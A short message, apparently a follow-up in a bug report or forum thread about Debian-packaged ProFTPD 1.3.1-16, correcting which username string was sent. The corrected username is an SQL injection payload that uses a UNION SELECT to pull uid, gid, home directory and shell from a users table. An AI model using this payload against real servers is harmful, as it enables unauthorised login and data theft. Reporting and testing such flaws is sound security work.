Uh-oh, sorry, bad copy-pasteβ¦the user is just
%') and 1=2 union select 1,1,uid,gid,homedir,shell from users; β
not
USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; β
I am using debian packaged proftpd 1.3.1-16 if that matters.